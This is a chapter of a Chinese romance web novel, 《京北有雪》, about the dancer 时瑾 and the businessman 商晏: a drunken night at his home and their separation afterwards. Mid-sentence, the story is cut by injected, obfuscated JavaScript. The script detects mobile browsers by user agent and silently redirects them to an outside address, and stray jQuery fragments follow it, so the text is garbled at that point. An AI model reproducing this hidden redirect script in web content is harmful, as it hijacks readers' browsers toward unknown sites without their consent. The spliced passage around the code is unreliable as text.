10. 等我

作品:《京北有雪

    商晏单臂捞起了时瑾,时瑾紧绷的神经终于松懈了下来,她听着他有力的心跳,原先焦躁不安的心慢慢平静了下来。


    “商先生,您的婚期想必快定了吧,还在和这风尘女子纠缠不清不怕江小姐生气吗?”许蔚扯着嘴皮笑着说道。


    商晏小心地将时瑾放下了副驾驶,又将座椅调到了舒适的高度,这才回过头看了许蔚一眼。


    “许先生还是先顾好自己吧,我这边刚收到贵公司的融资邀请。”


    许蔚捂着自己肿了的脸庞,望着越野车离去的背影,脸色发黑,商晏又坏了他的好事,一次又一次,他迟早会讨回来的。


    -


    商晏将车熄了火,停在草坪上,“跟我回家?”


    家?时瑾心中一动,偏头去看他。


    商晏的侧脸与灯影交织相融,轮廓瞧着分明,明明是普通的几个字,被他说着好似情话一般婉转动人。


    他和她哪有什么家可回,不过是见过几面的露水情缘。


    “好。”


    时瑾闭着眼睛半天也没等到商晏的后话,刚要解释就感觉嘴里被塞了块冰冰凉凉的东西,入口是芒果混着柑橘香味,外面有层糖衣裹着。


    “别误会,是我助理买多了给我的。”时瑾舌尖顶了顶上颚,指尖去摸链条包上的玩偶小熊,空调出风口处的细软发丝缠绕又松开。


    她随手携带的包里一定会有糖块,她练舞久了就得靠糖来缓一缓,吃糖已经融入了她的日常生活,她没想到自己一个无意识的动作,会被他记住。


    秋夜寒月高挂,海风带走了潮湿,可升起的灯塔隐隐有春的盎然。


    商晏走到一侧给她开了车门,时瑾勾唇一笑,朝他伸出了手臂,“我醉了。”声音软糯。


    商晏看着她米色长裙下纤细交叠的腿,透出几分春色。商晏手拨开她额前的碎发,极其温柔地抱起了她。


    “少…”吴嫂的话在看到怀中的时瑾熄了火,僵硬地目送着他们上了楼。


    知道人影消失在楼梯拐角,吴嫂用围裙擦擦水,立刻掏出手机,“今天少爷带女明星回来过夜了。”


    要知道少爷爱洁净,酒宴上的女伴大多点到为止,从没往私人领域带过。这是第一次。


    时瑾下巴搭在商晏肩头上一晃一晃得,被咯得咬牙忍着,肚子里的酒汁翻涌抵上了喉咙口。


    商晏冲个凉的功夫,她已经抱着垃圾桶吐了几轮。


    她听到脚步声,可她低着头一动也不动,能看到藏在黑发丝里露出的粉红耳垂,像精灵耳一样。


    太丢人了,时瑾想挖个洞把自己埋了。她最显眼包的几次几乎都有商晏,突然就有种深深的无力感。


    脚步声越来越远,能听到玻璃门关上的声音。


    时瑾简单去洗漱间整理了下,凉水冲过滚烫的脸时,理智慢慢回了笼。


    “要不要喝杯红糖姜茶去去寒?”门外响起了两声很轻的敲门声,商晏说完这话也没再开口,仿佛在为她今晚的狼狈和丢人做一个体面的礼让。


    她握住把手开了门,商晏坐在客厅的沙发上,低着头握着陶瓷杯搅动着银色小柄勺,冒出的白色热气在他的镜片上。


    商晏穿了件宽松的灰色家居服,神态慵懒自如,竟让时瑾有种恍惚的错觉,他们是在过日子。


    商晏走去阳台接电话,她握着有几分温热的杯柄抿了几口,姜的味道清香不凌烈。


    “哥,帮我处理好了没?”商墨溪每天争取磨掉他的耳朵。


    “算好了,给他制造了点麻烦。”商晏侧过身去看时瑾。


    她完全信任商晏,只要他点头了就没有办不成的事儿。


    “那我就放心了,就怕我的小爱豆现在躲起来偷偷流泪呢。”商墨溪在那头喋喋不休,一会高兴一会叹气。


    “说不定她现在过得还不错呢。”商晏嘴角上挑,眼底滑过不明的笑意。


    要是他亲爱的妹妹知道她的小爱豆此时正在他家,还在他卧室里,不知会有怎样精彩纷呈的表情呢。


    商晏在那一刻突然扬起了一种金屋藏娇的骄傲感。


    时瑾坐在沙发上背部都是绷直的一条线,这和维也纳的那一夜不同。她闯入了他的私人领域,总该留下点痕迹。


    衣柜里有散落的领带,折叠整齐的西装衬衫和床头柜上一盒开封过的男士烟。


    时瑾发现他其实很极致,桌上的经济学科书按照发行年排列好,书签甚至配上了封面的颜色,她翻开其中一本书,标注字迹工整有劲。


    时瑾在书的某一处留下了姓名和日期,又再轻轻地合上。经年之后,或许商晏会再翻看这本书,她模糊被岁月遗忘的面容说不定能引起他短暂的怅惘。


    “在想什么?”商晏走到她的背后,轻柔地捋开了她一团打结的发丝,绕在手指尖打圈。时瑾感觉他贴在自己敏感的耳垂处,肌肤相碰引起的温热让她侧身时下颌线都是紧绷的。


    时瑾偏过头,手轻轻扯住他的衣领,湿润的嘴唇擦过他有青渣的下巴,“在想维也纳的那那一夜。”


    时瑾眼前一阵眩晕,回过神时她已经坐在了商晏的腿上,她白皙的手臂顺势搂着商晏的脖子,柔软地将身体曲线贴近他。


    “你帮了我难道不想要回报吗?”


    商晏的眸子深沉,他扣住了时瑾的下巴,手上微微一使劲,细嫩的肌肤就瞧见了一丝红晕,“时小姐也会委下身段吗?”


    “商先生,一个喝醉了的人是没有原则可讲的。”商晏的手搭在她的腰肢上,隔着布料她都能感受到身下灼烧的温度。


    商晏看着眼前不讲理的小猫,扣住她的后脑勺在她下巴上留下了一个浅浅的牙印。美人在怀,他岂有放过的道理。


    时瑾散乱的发丝枕在他的臂弯处,挠得人心痒痒的。商晏将她放到了床上,半跪着从手旁的柜子里取出了一根银针,三下两下就挽成了一个发髻。


    “这么熟练,不知给多少女生盘过。”时瑾的笑冷冷的,她还未注意到自己的语气酸得好像二


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144529|164651||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    月的青梅。


    “我和外婆呆过一段时间,学过一点手工活。”商晏将她散乱的发丝勾到了耳后,手不轻不重地摩擦着她小巧的耳垂。


    暖黄的落地灯照着窗帘,商晏侧脸的轮廓仿佛被渡了一层金光。他是时瑾的第一个情人,时瑾指尖一寸寸地从眉骨摸到下巴,樱红欲滴的红唇贴了上去,眼神是迷离的。


    山壑被浪石一波一波地袭击着,临近冬至的最后一个秋夜也显得温和深邃。


    -


    在那之后,他们再没联系过,时瑾更是忙着准备剧院的三十周年庆典,抽不开身。除了身子不舒服的几日,她基本和韩云汐都是早出晚归不见人影的那个。


    演出的都是大戏,经典曲目。舞台场子不够,时瑾就拉着她们三个去中庭院子里练,酷寒的东风吹得她们小脸都红通通的。


    “我们四个有多久没这么一起努力过了啊。”林樱摸了摸发烫的脸,不顾形象地一屁股坐在了地上。


    她们大学都是舞社的,一有大型活动就被拉上去撑场子。那时她们年轻有活力,练累了就跑去k歌不回宿舍,嚣张与自信都写在每一张艳丽的脸上。


    那时不用化浓妆,亦如黑夜里亮着的启明星。可现在只能安慰自己明珠亦会蒙尘。


    夏曼婷半边身子靠在时瑾的身上,感慨了一句“花有重开日,人无再少年。”


    那时时瑾还不知道,这是她们四个最后一次的舞台。


    郑多燕也没闲着,给她们拍庆典视频的祝福话语。而夏曼婷更是凭借这短短三十秒视频出现的惊人美貌,进入了娱乐圈。


    再后来夏曼婷成名后的某一天,约时瑾出来庆生短聚,惋惜了一句,“时瑾儿,要是你当时不被派去教学员,说不定被选中的就是你了。”


    时瑾轻轻晃了晃手中的高脚杯,偏头去看窗外的车水马龙,“不是的曼婷,人生无常。我很满意现在的自己。”


    最为忙碌的那段时间,车子会开着驶过长安街,桥下是如焰火般的城市荣光。时瑾坐在车里,眼神里有挣扎有怅惘,最终只是转过了头,轻轻问郑多燕,“都说京城有包容性,可他怎么容不下我们这种芸芸众生呢?”


    郑多燕在对她明天的活动安排,最近她除了每天的练习,偶尔会有商场开业的义演。


    “时姐,可我觉得你已经很成功了。今天来送庆祝鲜花的几乎都是您的粉丝。”


    时瑾疲惫地笑了笑,脸贴在冰凉的车窗玻璃上,一路无话。


    有时深夜里,她偶尔会想到商晏,断断续续地想。就像她有自己的骄傲,所以他的头像只是如死尸一样,安静地躺在她的列表里。


    她不出声,也不问候。


    远在西欧的商晏坐在头等舱里,突然打了个喷嚏。乘务员立刻热情地贴了过来。


    “先生,是不是空调太凉了?”


    商晏眉皱得更深了,浑身散发着一股冷意。深褐色的瞳仁里划过一丝冬夜不该有的暖光。


    小东西,等我。